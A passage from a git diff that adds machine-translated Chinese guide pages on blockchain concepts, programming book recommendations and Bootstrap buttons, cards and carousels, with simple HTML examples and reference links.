+理想情况下，区块链只是非常复杂的链表，其中每个块都是一个存储库，用于存储与事务有关的信息，并且还链接到同一事务中的前一个块。这些块按顺序排列，并在创建过程中加上时间戳，以确保公平记录。
+
+#### _\*基于共识_
+
+Consensus Based是一种决策方法。这是一种创造性和动态的方式，可以在一个团体的所有成员之间达成协议。只有当网络上的所有各方一致批准时，才能执行区块链上的交易。然而，它经过改动以适应各种情况。
+
+### 来源
+
+1.  [分布式分类帐](https://searchcio.techtarget.com/definition/distributed-ledger)
+2.  [什么是播种](http://help.utorrent.com/customer/portal/articles/164656)
+3.  [共识机制](https://www.seedsforchange.org.uk/consensus)
+4.  [区块链的主要特点](https://cryptocurry.com/news/top-4-major-features-blockchain/)
+5.  [区块链的应用与特点](https://arxiv.org/pdf/1806.03693.pdf)
\ No newline at end of file
diff --git a/client/src/guide/chinese/blockchain/index.md b/client/src/guide/chinese/blockchain/index.md
new file mode 100644
index 0000000000..4028c8f3c0
--- /dev/null
+++ b/client/src/guide/chinese/blockchain/index.md
@@ -0,0 +1,42 @@
+---
+title: Blockchain
+localeTitle: 块链
+---
+## Blockchain
+
+> “是一个分散的数据库，它存储了一个跨对等网络的资产和交易注册表。基本上是谁拥有什么以及谁交易什么的公共注册表。交易是通过加密来保护的，并且随着时间的推移，交易历史记录被锁定在数据块中，然后以加密方式链接在一起并加以保护。这将创建一个不可变的，不可伪造的记录，记录该网络中的所有事务。该记录在每台使用该网络的计算机上复制。
+> 
+> \--Bettina Warburg 1
+
+区块链通常与比特币和其他加密货币相关联，但它们不是一回事。比特币是第一个实施区块链概念的人。区块链的结构，不断增长的记录列表，可以应用于许多其他领域，如数字身份，供应链甚至[民主](https://www.democracy.earth/) 。
+
+尽管区块链可以应用于大范围的问题，但它并不是解决所有问题的方法。该技术通常用于解决部件彼此不信任的问题。
+
+通常需要第三方来验证信任关系。在最常见的例子中，即银行系统，需要可信任的机构，例如银行，中间交易，管理账户，验证余额和验证转账。然后，区块链，在这种情况下取​​代监管机构。在加密货币的情况下，它取代银行的数字，进行所有验证并保证交易的安全性和准确性。
+
+因此，区块链也被称为**“信任协议”** 。
+
+### 历史
+
+1991年Stuart Haber和W. Scott Stornetta描述了加密安全链块的第一项工作。他们希望实现一个系统，其中文档的时间戳不能被篡改或回溯。 1992年，Bayer，Haber和Stornetta将Merkle树结合到设计中，通过允许将几个文件收集到一个区块中来提高其效率。
+
+第一个区块链是由一个人（或一群人）在2008年被称为中本聪（Satoshi Nakamoto）概念化的。第二个区块链由Nakamoto作为加密货币比特币的核心组成部分在第二年实施，在那里它作为所有交易的公共分类账。网络。
+
+2014年8月，比特币区块链文件大小（包含网络上发生的所有交易记录）达到20 GB（千兆字节）。 2015年1月，规模已增长到近30 GB，从2016年1月到2017年1月，比特币区块链的规模从50 GB增长到100 GB。此外，Nakamoto引入了工作证明的概念，以确保对记录安全性的更加分散的信任。
+
+块和链的单词在Satoshi Nakamoto的原始论文中单独使用，但最终在2016年之前被推广为区块链。区块链2.0这一术语指的是2014年首次出现的分布式区块链数据库的新应用。经济学家描述这种第二代可编程区块链的一种实现方式是“一种编程语言，允许用户编写更复杂的智能合约，从而创建发票，当货物到达或共享证书时自行支付，如果利润达到某一水平，则自动向其所有者发送股息水平。”
+
+截至2016年，区块链2.0实施继续要求离线oracle根据时间或市场条件访问任何“外部数据或事件以与区块链交互”。
+
+#### 来源
+
+1.  [Bettina Warburg，“区块链将如何从根本上改变经济”， _TED会谈_ ，2016年12月8日](https://youtu.be/RplnSVTzvnU?t=213)
+
+##### 更多信息
+
+*   [WTF是区块链？](https://hackernoon.com/wtf-is-the-blockchain-1da89ba19348)
+*   [区块链：我们还没有准备好的革命](https://medium.freecodecamp.org/blockchain-is-our-first-22nd-century-technology-d4ad45fca2ce)
+*   [区块链如何改变金钱和业务| Don Tapscott（YouTube视频）](https://www.youtube.com/watch?v=Pl8OlkkwRpc)
+*   [比特币，以太坊和智能合约简介](https://github.com/WizardOfAus/WizardsEthereumWorkshop)
+*   [区块链学术论文](https://github.com/decrypto-org/blockchain-papers)
+*   [区块链资源](https://github.com/BlockchainDevs/CryptocurrencyAwesome/blob/master/README.md)
\ No newline at end of file
diff --git a/client/src/guide/chinese/blockchain/smart-contracts/index.md b/client/src/guide/chinese/blockchain/smart-contracts/index.md
new file mode 100644
index 0000000000..9dc82e2c97
--- /dev/null
+++ b/client/src/guide/chinese/blockchain/smart-contracts/index.md
@@ -0,0 +1,8 @@
+title: Smart Contracts
+localeTitle: undefined
+---
+## 智能合约
+
+区块链中的交易是一种非常基本的合同 - 一方将资源发送给另一方。 在Etherium区块链中，事务可以支持任何类型的逻辑。他们有表现力 Turing-Complete机器的强大功能 - 这意味着它们可以成为计算机可以执行的任务的步骤。
+
+作为区块链上的一段代码，智能合约可以自动执行任务。 当帐户收到钱时，它可以自动将其分发给其他人。 这是完全透明的，因此所有节点（矿工）都可以看到正在执行的逻辑。
\ No newline at end of file
diff --git a/client/src/guide/chinese/blockchain/types/index.md b/client/src/guide/chinese/blockchain/types/index.md
new file mode 100644
index 0000000000..3c0b5e98ec
--- /dev/null
+++ b/client/src/guide/chinese/blockchain/types/index.md
@@ -0,0 +1,45 @@
+---
+  title : Types of Blockchain
+localeTitle: 区块链的类型
+---
+![Blockchain](https://github.com/Vagisha16/Hw3/blob/master/blockchain-what-and-why-19-638.jpg?raw=true)
+
+## 区块链的类型
+
+截至目前，主要有三种类型的区块链已经出现。这些是基于技术使用和处理方式的广泛分类。
+
+1.  私人区块链
+2.  公共区块链
+3.  联邦区块链（混合）
+
+#### 1.私人区块链
+
+区块链技术由私人团体或组织拥有。它是一个分散的架构，但一些决策权归属于负责人的手中。
+
+负责人负责提供选择性访问和权限，例如读/写。
+
+示例：Bankchain，Hyperledger
+
+#### 2.公共区块链
+
+在这种架构中，没有人负责。任何人和每个人都可以参与阅读，编写和审核区块链。
+
+公共区块链是公开和透明的，因此任何愿意在任何特定时间点开放供任何人查看。
+
+示例：比特币，Litecoin
+
+#### 3.联邦区块链
+
+在这种类型的区块链中，解决了私有区块链的问题。通过让一个以上的人负责来解决将权力归属于个人手中的唯一自治问题。
+
+一群人聚集在一起组成一个财团或联邦。这又为了共同利益而共同发挥作用。
+
+示例： [Energy Web Foundation](http://energyweb.org/)
+
+还有另一种分类类别，即基于授予区块链网络的持久性。他们被归类为 -
+
+1.  公共许可区块链
+2.  私人许可区块链
+3.  无可比区块链
+
+这篇文章不是原创作品，受到启发并从[这里](https://coinsutra.com/different-types-blockchains/)和[这里获取](https://data-flair.training/blogs/types-of-blockchain/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/book-recommendations/algorithms-in-js-books/index.md b/client/src/guide/chinese/book-recommendations/algorithms-in-js-books/index.md
new file mode 100644
index 0000000000..071873b59c
--- /dev/null
+++ b/client/src/guide/chinese/book-recommendations/algorithms-in-js-books/index.md
@@ -0,0 +1,23 @@
+---
+title: Algorithms in JavaScript books
+localeTitle: JavaScript书籍中的算法
+---
### 书籍清单
+
+_JavaScript中的数据结构_
+
+*   免费书籍，涵盖JavaScript中的数据结构
+*   [GitBook](https://www.gitbook.com/book/pmary/data-structure-in-javascript/details)
+
+_学习JavaScript数据结构和算法 - 第二版_
+
+*   涵盖面向对象编程，原型继承，排序和搜索算法，快速排序，合并排序，二叉搜索树和高级算法概念
+*   [亚马逊](https://www.amazon.com/Learning-JavaScript-Data-Structures-Algorithms/dp/1785285491)
+*   ISBN-13：978-1785285493
+
+_使用JavaScript的数据结构和算法：将经典计算方法引入Web_
+
+*   涵盖递归，排序和搜索算法，链表和二叉搜索树。
+*   [亚马逊](https://www.amazon.com/Data-Structures-Algorithms-JavaScript-approaches/dp/1449364934)
+*   ISBN-13：978-1449364939
+
+请随意添加您认为有用的更多内容！
\ No newline at end of file
diff --git a/client/src/guide/chinese/book-recommendations/haskell/index.md b/client/src/guide/chinese/book-recommendations/haskell/index.md
new file mode 100644
index 0000000000..ef6f3a6a2a
--- /dev/null
+++ b/client/src/guide/chinese/book-recommendations/haskell/index.md
@@ -0,0 +1,13 @@
+---
+title: Books on Haskell
+localeTitle: 关于Haskell的书籍
+---
+###书籍清单
+
+_了解Haskell for Great Good_是初学者潜入Haskell世界的最佳书籍之一。充满插图。
+
+是的，电子书是免费的！
+
+*   [网站](http://learnyouahaskell.com/)
+*   [没有淀粉压力机](https://nostarch.com/lyah.htm)
+*   [电子书](http://learnyouahaskell.com/chapters) （免费）
\ No newline at end of file
diff --git a/client/src/guide/chinese/book-recommendations/index.md b/client/src/guide/chinese/book-recommendations/index.md
new file mode 100644
index 0000000000..83001651e0
--- /dev/null
+++ b/client/src/guide/chinese/book-recommendations/index.md
@@ -0,0 +1,257 @@
+---
+title: Books to Read for Programmers
+localeTitle: 为程序员阅读的书籍
+---
+### 书籍清单
+
+## 一般
+
+Al Sweigart _使用Python自动化无聊的东西_
+
+*   http://automatetheboringstuff.com/
+*   ISBN-13：978-1593275990
+
+Harold Abelson，Gerald Jay Sussman和Julie Sussman _对计算机程序_的_结构和解释_
+
+*   https://mitpress.mit.edu/sicp/
+*   ISBN-13：978-0262510875
+
+_清洁代码：_ Robert C. Martin _的敏捷软件Crafstmanship手册_
+
+*   [亚马逊微笑](https://smile.amazon.com/Clean-Code-Handbook-Software-Craftsmanship/dp/0132350882?sa-no-redirect=1)
+*   ISBN-13：978-0132350884
+
+_代码：_ Charles Petzold _的计算机硬件和软件的隐藏语言_
+
+*   [亚马逊微笑](https://smile.amazon.com/Code-Language-Computer-Hardware-Software/dp/0735611319/ref=sr_1_1?s=books&ie=UTF8&qid=1508780869&sr=1-1&keywords=code)
+*   ISBN-13：978-0735611313
+
+_不要让我思考，重新审视：Steve Krug对网络可用性的一种常识方法_
+
+*   [亚马逊微笑](https://smile.amazon.com/Dont-Make-Think-Revisited-Usability/dp/0321965515/ref=sr_1_1?ie=UTF8&qid=1538370339&sr=8-1&keywords=dont+make+me+think)
+*   ISBN-13：978-0321965516
+
+_编程珍珠（第2版）作者：Jon Bentley_
+
+*   [亚马逊微笑](https://smile.amazon.com/Programming-Pearls-2nd-Jon-Bentley/dp/0201657880)
+*   ISBN-13：978-0201657883
+
+_计算机程序的结构与解释_
+
+*   https://mitpress.mit.edu/sicp/
+*   ISBN-13：978-0262510875
+
+_务实的程序员：_安德鲁·亨特和大卫·托马斯_从“熟练工”到“大师”_
+
+*   [亚马逊微笑](https://smile.amazon.com/Pragmatic-Programmer-Journeyman-Master/dp/020161622X?sa-no-redirect=1)
+*   ISBN-13：978-0201616224
+
+_自学编程人员：_ Cory Althoff _专业编程的权威指南_
+
+*   [亚马逊微笑](https://smile.amazon.com/Self-Taught-Programmer-Definitive-Programming-Professionally-ebook/dp/B01M01YDQA?sa-no-redirect=1)
+*   ISBN-13：978-1520288178
+
+_你不知道_ Kyle Simpson的_JS（书系列）_
+
+*   https://github.com/getify/You-Dont-Know-JS
+*   ISBN-13：9781491924464
+
+_软技能：软件开发人员的生活手册_ - John Sonmez
+
+*   [亚马逊微笑](https://smile.amazon.com/Soft-Skills-software-developers-manual/dp/1617292397?pldnSite=1)
+*   ISBN-13：9781617292392
+
+## 算法
+
+由Thomas H. Cormen和Charles E. Leiserson撰写的_第三版算法导论（麻省理工学院出版社）_
+
+*   [亚马逊微笑](https://smile.amazon.com/Introduction-Algorithms-3rd-MIT-Press/dp/0262033844/)
+*   ISBN-13：978-0262033848
+
+_破解编码访谈：_ Gayle Laakmann McDowell撰写的_150个编程问题和解决方案_
+
+*   [亚马逊微笑](https://smile.amazon.com/Cracking-Coding-Interview-Programming-Questions/dp/098478280X)
+*   ISBN-13：978-0984782802
+
+## 铛
+
+Brian W. Kernighan和Dennis M. Ritchie _的C编程语言_
+
+*   [亚马逊微笑](https://smile.amazon.com/Programming-Language-2nd-Brian-Kernighan/dp/0131103628/)
+*   ISBN-13：978-0131103628
+
+_关于C的书：用C语言编程_
+
+*   [亚马逊](https://www.amazon.com/Book-Programming-4th-Al-Kelley/dp/0201183994/ref=cm_cr_arp_d_bdcrb_top?ie=UTF8)
+*   ISBN-13：978-0201183993
+
+## 编码面试
+
+_破解编码访谈：150个编程问题和解决方案_
+
+*   [亚马逊微笑](https://smile.amazon.com/Cracking-Coding-Interview-Programming-Questions/dp/098478280X)
+*   ISBN-13：978-0984782802
+
+_编程访谈暴露：登陆你的下一个工作的秘密，第2版_
+
+*   [威利](https://www.wiley.com/en-id/Programming+Interviews+Exposed:+Secrets+to+Landing+Your+Next+Job,+2nd+Edition-p-9780470121672)
+*   ISBN：978-0-470-12167-2
+
+## Java的
+
+由Kathy Sierra和Bert Bates主持_Java_
+
+*   [亚马逊微笑](https://smile.amazon.com/Head-First-Java-Kathy-Sierra/dp/0596009208)
+*   ISBN-13：978-0596009205
+
+_约书亚布洛赫的有效Java_
+
+*   [亚马逊微笑](https://smile.amazon.com/Effective-Java-3rd-Joshua-Bloch/dp/0134685997)
+*   ISBN-13：978-0134685991
+
+## JavaScript的
+
+_你不懂JS（书系列）_
+
+*   https://github.com/getify/You-Dont-Know-JS
+*   ISBN-13：9781491924464
+
+_雄辩的JavaScript：Marijn Haverbeke的现代编程简介_
+
+*   [在这里阅读它](https://eloquentjavascript.net)
+*   [亚马逊微笑](https://smile.amazon.com/gp/product/1593275846/ref=as_li_qf_sp_asin_il_tl?ie=UTF8&camp=1789&creative=9325&creativeASIN=1593275846&linkCode=as2&tag=marijhaver-20&linkId=VPXXXSRYC5COG5R5) -ISBN-13：978-1593275846
+
+_JavaScript：好的部分_
+
+*   [亚马逊微笑](https://smile.amazon.com/JavaScript-Good-Parts-Douglas-Crockford/dp/0596517742)
+*   ISBN-13：978-0596517748
+
+_JavaScript和JQuery：交互式前端Web开发_
+
+*   [亚马逊微笑](https://smile.amazon.com/JavaScript-JQuery-Interactive-Front-End-Development/dp/1118531647/?pldnSite=1)
+*   ISBN-13：978-1118531648
+
+## 蟒蛇
+
+_使用Python自动化无聊的东西_
+
+*   http://automatetheboringstuff.com/
+*   ISBN-13：978-1593275990
+
+_核心Python应用程序编程（第3版）作者：Wesley J Chun_
+
+*   [亚马逊微笑](https://smile.amazon.com/Core-Python-Applications-Programming-3rd/dp/0132678209)
+*   ISBN-13：978-0132678209
+
+## 软技能
+
+_软技能：软件开发人员的生活手册_
+
+*   [亚马逊微笑](https://smile.amazon.com/Soft-Skills-software-developers-manual/dp/1617292397?pldnSite=1)
+*   ISBN-13：9781617292392
+
+## 其他
+
+\*黑客：终极黑客指南：黑客初学者和Tor浏览器
+
+*   https://www.amazon.in/dp/B075CX7T6G/ref=cm _sw_ r _cp_ awdb _t1_ -7ESBbZ43CCBM
+*   （ISBN 1976112524）。
+
+\*代码：计算机硬件和软件的隐藏语言（开发人员最佳实践）\*
+
+*   [亚马逊微笑](https://smile.amazon.com/Code-Language-Computer-Hardware-Software/dp/0735611319)
+*   ISBN-13：978-0735611313
+
+_数据结构和算法变得简单_
+
+*   [亚马逊微笑](https://smile.amazon.com/Data-Structures-Algorithms-Made-Easy/dp/819324527X)
+*   ISBN-13：978-8193245279
+
+_想想Python：如何像计算机科学家一样思考_
+
+*   [亚马逊微笑](https://smile.amazon.com/Think-Python-Like-Computer-Scientist/dp/1491939362)
+*   ISBN-13：978-1491939369
+
+_Python速成课程：实践，基于项目的编程入门_
+
+*   [亚马逊微笑](https://smile.amazon.com/Python-Crash-Course-Hands-Project-Based/dp/1593276036)
+*   ISBN-13：978-1593276034
+
+_蒸馏计算机科学：学习Wladston Ferreira Filho解决计算机问题的艺术_
+
+*   [亚马逊微笑](https://smile.amazon.com/Computer-Science-Distilled-Computational-Problems/dp/0997316020)
+*   ISBN-13：978-0-9773160-2-5
+
+_算法由Thomas H. Cormen解锁_
+
+*   [亚马逊微笑](https://smile.amazon.com/Algorithms-Unlocked-Press-Thomas-Cormen/dp/0262518805)
+*   ISBN-13：978-0262518802
+
+_暴力Python：黑客，法医分析师，渗透测试人员和安全工程师的食谱_
+
+*   [亚马逊微笑](https://smile.amazon.com/Violent-Python-Cookbook-Penetration-Engineers/dp/1597499579/ref=sr_1_2?ie=UTF8&qid=1538665634&sr=8-2&keywords=violent+python)
+*   ISBN-13：978-1597499576
+
+_Shellcoder的手册：发现和利用安全漏洞_
+
+*   [亚马逊微笑](https://smile.amazon.com/Shellcoders-Handbook-Discovering-Exploiting-Security/dp/047008023X/ref=sr_1_1?ie=UTF8&qid=1538665772&sr=8-1&keywords=shellcoders+handbook+3rd+edition&dpID=41xfa6zpuPL&preST=_SX218_BO1,204,203,200_QL40_&dpSrc=srch)
+*   ISBN-13：978-0470080238
+
+_首先是C：一个有益于脑子的指南_
+
+*   [亚马逊微笑](https://smile.amazon.com/Head-First-C-Brain-Friendly-Guide/dp/1449399916/ref=sr_1_2?ie=UTF8&qid=1538665818&sr=8-2&keywords=head+first+c&dpID=51StqzL2dWL&preST=_SX218_BO1,204,203,200_QL40_&dpSrc=srch)
+*   ISBN-13：978-1449399917
+
+_Ruby中实用的面向对象设计_
+
+*   [亚马逊微笑](https://smile.amazon.com/Practical-Object-Oriented-Design-Ruby-Addison-Wesley/dp/0321721330)
+*   ISBN-13：978-0321721334
+
+_用Bruce Eckel思考C ++_
+
+*   [亚马逊微笑](https://smile.amazon.com/Thinking-C-Bruce-Eckel/dp/0139177094)
+*   ISBN-13：978-0139177095
+
+_操作系统概念_
+
+*   [亚马逊微笑](https://smile.amazon.com/Operating-System-Concepts-Abraham-Silberschatz/dp/1118063333/ref=sr_1_1?s=books&ie=UTF8&qid=1538967825&sr=1-1&keywords=operating+system+concepts+10th+edition&dpID=51Qy2upM%252BaL&preST=_SY291_BO1,204,203,200_QL40_&dpSrc=srch)
+*   ISBN-13：978-1118063330
+
+_计算机网络：由Kurose和Ross自上而下的方法（第7版）_
+
+*   [亚马逊微笑](https://smile.amazon.com/Computer-Networking-Top-Down-Approach-7th/dp/0133594149/ref=sr_1_1?s=books&ie=UTF8&qid=1538967896&sr=1-1&keywords=kurose+and+ross&dpID=51xp1%252BoDRML&preST=_SX218_BO1,204,203,200_QL40_&dpSrc=srch)
+*   ISBN-13：978-0133594140
+
+_竞争规划3：编程竞赛的新下界_
+
+*   [亚马逊微笑](https://smile.amazon.com/Competitive-Programming-3rd-Steven-Halim/dp/B00FG8MNN8)
+*   ISBN-13：978-5800083125
+
+_编码访谈的动态规划：自下而上的解决问题的方法_
+
+*   [亚马逊微笑](https://smile.amazon.in/Dynamic-Programming-Coding-Interviews-Bottom-Up-ebook/dp/B06XZ61CMP)
+*   ISBN-13：978-1946556691
+
+_盖茨2019年计算机科学与信息技术_
+
+*   [亚马逊微笑](https://smile.amazon.com/GATE-Computer-Science-Information-Technology/dp/194658178X)
+*   ISBN-13：978-1946581785
+
+_Donald E. Knuth的计算机编程艺术_
+
+*   https://www-cs-faculty.stanford.edu/~knuth/taocp.html
+*   ISBN-13：978-0321751041
+
+_软件工程的事实与谬误_
+
+*   [亚马逊微笑](https://smile.amazon.com/Facts-Fallacies-Software-Engineering-Robert/dp/0321117425/)
+*   ISBN-13：978-0321117427
+
+神话人月：软件工程论文集
+
+*   [亚马逊微笑](https://www.amazon.com/Mythical-Man-Month-Software-Engineering-Anniversary/dp/0201835959)
+*   ISBN-13：978-0201835953
+
+此列表是从Reddit和Stackoverflow上的多个建议线程编译而来的。
+
+请随意添加您认为有用的更多内容！
\ No newline at end of file
diff --git a/client/src/guide/chinese/book-recommendations/javascript/index.md b/client/src/guide/chinese/book-recommendations/javascript/index.md
new file mode 100644
index 0000000000..68daaf7d1d
--- /dev/null
+++ b/client/src/guide/chinese/book-recommendations/javascript/index.md
@@ -0,0 +1,28 @@
+---
+title: Books on JavaScript
+localeTitle: 关于JavaScript的书籍
+---
+###书籍清单
+
+_雄辩的JavaScript_
+
+关于JavaScript的最佳书籍之一。对于使用JavaScript编写代码的初学者和中级程序员来说都是必须的。最好的部分是电子书是免费提供的。
+
+*   [电子书](https://eloquentjavascript.net/) （免费）
+*   [亚马逊](https://www.amazon.com/gp/product/1593275846/ref=as_li_qf_sp_asin_il_tl?ie=UTF8&camp=1789&creative=9325&creativeASIN=1593275846&linkCode=as2&tag=marijhaver-20&linkId=VPXXXSRYC5COG5R5)
+
+_你不懂JS_
+
+凯尔辛普森的六本书系列。关于JavaScript的各个方面的深入系列。
+
+*   [Github](https://github.com/getify/You-Dont-Know-JS) （免费）
+*   [亚马逊Kindle版](https://www.amazon.com/You-Dont-Know-Js-Book/dp/B01AY9P0P6)
+
+_JavaScript：好的部分_ 由JavaScript的“祖父”Douglas Crockford预订。他讨论了JavaScript的“好”和“坏”部分。
+
+*   [亚马逊](https://www.amazon.com/JavaScript-Good-Parts-Douglas-Crockford/dp/0596517742)
+
+_JavaScript：信息_ 一系列涵盖基础知识（核心语言和使用浏览器）的文章以及带有简明解释的高级主题。可作为付费电子书和在线教程使用。
+
+*   [线上](https://javascript.info/)
+*   [电子书](https://javascript.info/ebook)
\ No newline at end of file
diff --git a/client/src/guide/chinese/book-recommendations/python/index.md b/client/src/guide/chinese/book-recommendations/python/index.md
new file mode 100644
index 0000000000..004e99406d
--- /dev/null
+++ b/client/src/guide/chinese/book-recommendations/python/index.md
@@ -0,0 +1,44 @@
+---
+title: Books on Python Programming Language
+localeTitle: 关于Python编程语言的书籍
+---
+###书籍清单
+
+_想想Python 2e_
+
+*   免费（电子书），涵盖了Python的基础知识。它是初学者友好的，对于刚接触编程的人来说是必须的！
+*   [亚马逊](https://www.amazon.com/gp/product/1491939362/ref=as_li_qf_sp_asin_il_tl?ie=UTF8&camp=1789&creative=9325&creativeASIN=1491939362&linkCode=as2&tag=greenteapre01-20&linkId=XCU5FNNNMXRHDD7X)
+*   ISBN-13：978-1491939369
+*   [网站](http://greenteapress.com/wp/think-python-2e/)
+*   [电子书](http://greenteapress.com/thinkpython2/html/index.html) （免费）
+
+_努力学习Python 3_
+
+*   付费（免费电子书可用）书，涵盖了蟒蛇的基础知识。它旨在帮助您开始使用python语言，并在完成本书时熟悉其语法和工作方式。
+    
+*   [亚马逊](https://www.amazon.com/Learn-Python-Hard-Way-Introduction/dp/0134692888)
+    
+*   ISBN-13：978-0134692883
+    
+*   ISBN-10：0134692888
+    
+*   [网站](https://learnpythonthehardway.org/) （从创作者处购买|包括视频课程）
+    
+*   [电子书](https://learnpythonthehardway.org/python3/) （免费）
+    
+*   [Python Mertz的Python函数式编程\[OREILLY\] \[FREE\]](https://www.oreilly.com/programming/free/files/functional-programming-python.pdf)
+    
+*   [Nicholas H. Tollervey教育中的Python \[OREILLY\] \[免费\]](https://www.oreilly.com/programming/free/files/python-in-education.pdf)
+    
+*   [艾伦·唐尼如何像计算机科学家一样思考\[V 2.0.17\] \[免费\]](http://greenteapress.com/thinkpython/thinkpython.pdf)
+    
+*   [Python的一个字节\[FREE\]](https://python.swaroopch.com)
+    
+
+_黑帽Python：黑客和Pentesters的Python编程_
+
+*   [亚马逊微笑](https://smile.amazon.com/Black-Hat-Python-Programming-Pentesters/dp/1593275900/)
+    
+*   ISBN-10：1593275900
+    
+    请随意添加您认为有用的更多内容！
\ No newline at end of file
diff --git a/client/src/guide/chinese/bootstrap/buttons/index.md b/client/src/guide/chinese/bootstrap/buttons/index.md
new file mode 100644
index 0000000000..77abae7d8c
--- /dev/null
+++ b/client/src/guide/chinese/bootstrap/buttons/index.md
@@ -0,0 +1,97 @@
+---
+title: Buttons
+localeTitle: 纽扣
+---
+## 纽扣
+
+Bootstrap框架为您提供各种按钮样式选项。这些样式可帮助您为用户提供按钮可能执行的操作的可视化表示。
+
+#### 如何使用：
+
+要使用引导按钮，请按照与在HTML中创建按钮相同的步骤进行操作，除了您还将适用的CSS类应用于按钮。下面提供了一个代码示例。
+
+**代码示例：**
+
+`<button type="button" class="btn btn-primary">Primary</button>`
+
+主
+
+您还可以使用带有`<a>`和`<input>`元素的引导按钮，如下面的示例所示。
+
+`<a class="btn btn-primary" href="#" role="button">This button is a link</a>`
+
+[这个按钮是一个链接](#)
+
+`<input class="btn btn-primary" type="submit" value="Submit">`
+
+#### 引导按钮类列表：
+
+这是bootstrap为按钮提供的CSS类的列表。
+
+`.btn`这是bootstrap的基本按钮。
+
+基本
+
+`.btn-default`这是bootstrap的默认按钮。
+
+默认
+
+`.btn-primary`这是bootstrap的主按钮。
+
+主
+
+`.btn-success`这是bootstrap的成功按钮。
+
+成功
+
+`.btn-info`这是bootstrap的信息按钮。
+
+信息
+
+`.btn-warning`这是bootstrap的警告按钮。
+
+警告
+
+`.btn-danger`这是bootstrap的危险按钮。
+
+危险
+
+`.btn-link`这是bootstrap的链接按钮。
+
+链接
+
+`.btn-light`这是bootstrap的灯按钮。
+
+光
+
+#### Bootstrap按钮尺寸：
+
+这是针对不同大小的按钮的CSS类列表。
+
+`.btn-lg`这是bootstrap的大按钮。
+
+大
+
+`.btn-sm`这是bootstrap的小按钮。
+
+小
+
+`.btn-xs`这是bootstrap的超小按钮。
+
+超小
+
+#### Bootstrap概述按钮：
+
+也可以使用轮廓按钮而不是完全着色的按钮。这是通过将中间修复`outline`放在所需的按钮类之间来实现的。示例用法如下：
+
+`<button type="button" class="btn btn-outline-primary">Primary</button>`
+
+从版本4开始，概述按钮是Bootstrap的一部分，如果您无法使用它们，请确保使用正确的版本。
+
+_注意：不要在HTML类属性中包含点，指的是带有点的类仅在调整CSS中的类时使用。_
+
+#### 更多信息：
+
+*   [Bootstrap Buttons文档](https://getbootstrap.com/docs/4.0/components/buttons/)
+*   [Bootstrap按钮组文档](http://getbootstrap.com/docs/4.0/components/button-group/)
+*   [Bootstrap入门](/articles/bootstrap/bootstrap-get-started)
\ No newline at end of file
diff --git a/client/src/guide/chinese/bootstrap/cards/index.md b/client/src/guide/chinese/bootstrap/cards/index.md
new file mode 100644
index 0000000000..edaa0b8411
--- /dev/null
+++ b/client/src/guide/chinese/bootstrap/cards/index.md
@@ -0,0 +1,84 @@
+---
+title: Cards
+localeTitle: 牌
+---
+## #Bootstrap 4卡
+
+*   使用Bootstrap 4可以创建卡片。
+    
+*   卡片是带边框的盒子，内部有一些填充物，可以方便地显示一组特定的信息。
+    
+
+##### 要创建一个基本的Bootstrap 4卡，您需要创建一个带有`.card`类的`<div>`容器，并在另一个带有`.card-body`类的`<div>`容器中`.card-body`
+
+###### 这就是它在html doc中的外观
+
+```html
+
+<div class="card"> 
+ <!-- content of the card goes here --> 
+  <div class="card-body">Content</div> 
+ </div> 
+```
+
+## ＃＃＃ 页眉和页脚
+
+可以通过添加页眉和页脚来增强卡的结构。要添加其中一个元素，必须使用`.card-header`或`.card-footer`类创建`<div>`容器。
+
+###### 这就是它在html doc中的外观
+
+```html
+
+<div class="card"> 
+ <!-- content of the card goes here --> 
+  <div class="card-header">Header content</div> 
+  <div class="card-body">Body content</div> 
+  <div class="card-footer">Footer content</div> 
+ </div> 
+```
+
+## ###卡片与图像
+
+*   您还可以使用特定的类来显示卡片中的图像。
+    
+*   为此目的有两个类：card-img-top，它将图像放在卡片的顶部;而card-img-bottom，将图像放在底部，两者都使它们适合圆形边框。卡整齐地。
+    
+*   这些类必须与卡内的`<img>`标签一起使用才能正常工作。
+    
+*   请记住，如果您希望图像跨越整个宽度，则可以使用card-body类将图像容器添加到`<div>`容器之外。
+    
+
+###### 这就是它在html doc中的外观
+
+```html
+
+<div class="card"> 
+ <!-- content of the card goes here --> 
+ <!-- image on the top of the content --> 
+  <img src="picture.jpg" alt="Picture" class="card-img-top"> 
+  <div class="card-body">Body content</div> 
+ </div> 
+ <div class="card"> 
+ <!-- content of the card goes here --> 
+  <div class="card-body">Body content</div> 
+ <!-- image on the bottom of the content --> 
+  <img src="picture.jpg" alt="Picture" class="card-img-bottom"> 
+ </div> 
+```
+
+## ###卡片叠加
+
+*   要将图像放入卡片的背景并在其上显示文本，您需要在要在图像上显示的内容上使用class card-img-overlay，而不是使用卡片体类。
+
+###### 这就是它在html doc中的外观
+
+```html
+
+<div class="card"> 
+ <!-- content of the card goes here --> 
+  <img src="picture.jpg" alt="Picture" class="card-img-top"> 
+ <!-- this content is displayed over the image, which is now in the background and covers the whole element --> 
+  <div class="card-img-overlay">Overlay content</div> 
+ </div> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/bootstrap/carousel/index.md b/client/src/guide/chinese/bootstrap/carousel/index.md
new file mode 100644
index 0000000000..fe8423dec4
--- /dev/null
+++ b/client/src/guide/chinese/bootstrap/carousel/index.md
@@ -0,0 +1,152 @@
+---
+title: Carousel
+localeTitle: 圆盘传送带
+---
+## 圆盘传送带
+
+Carousel是一个幻灯片组件，用于循环播放图像或文本幻灯片等元素。 它以平滑的方式提供了一种通过滑动或循环来表示大量数据（文本或图像）的动态方式
+
+图像滑块的示例代码如下：
+
+```html
+
+<html> 
+ <head> 
+ 
+ <!-- BootStrap's minified CSS version --> 
+ <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0-beta.2/css/bootstrap.min.css" integrity="sha384-PsH8R72JQ3SOdhVi3uxftmaW6Vc51MKb0q5P2rRUpPvrszuE4W1povHYgTpBfshb" crossorigin="anonymous"> 
+ 
+ 
+ </head> 
+ 
+ <style> 
+ 
+ .carousel-indicators li 
+ { 
+ background-color:red; 
+ } 
+ 
+ .carousel-indicators .active 
+ { 
+ background-color:blue; 
+ } 
+ 
+ .carousel-indicators .item 
+ { 
+ height:700 px; 
+ width :800 px; 
+ } 
+ </style> 
+ 
+ 
+ <body> 
+  <!-- Declaring div for Carousel to appear inside it --> 
+ <div class="container"> 
+ 
+ <div id="myCarousel" class="carousel slide" data-ride="carousel"> 
+ 
+ <!-- Indicators --> 
+ 
+ <ol class="carousel-indicators"> 
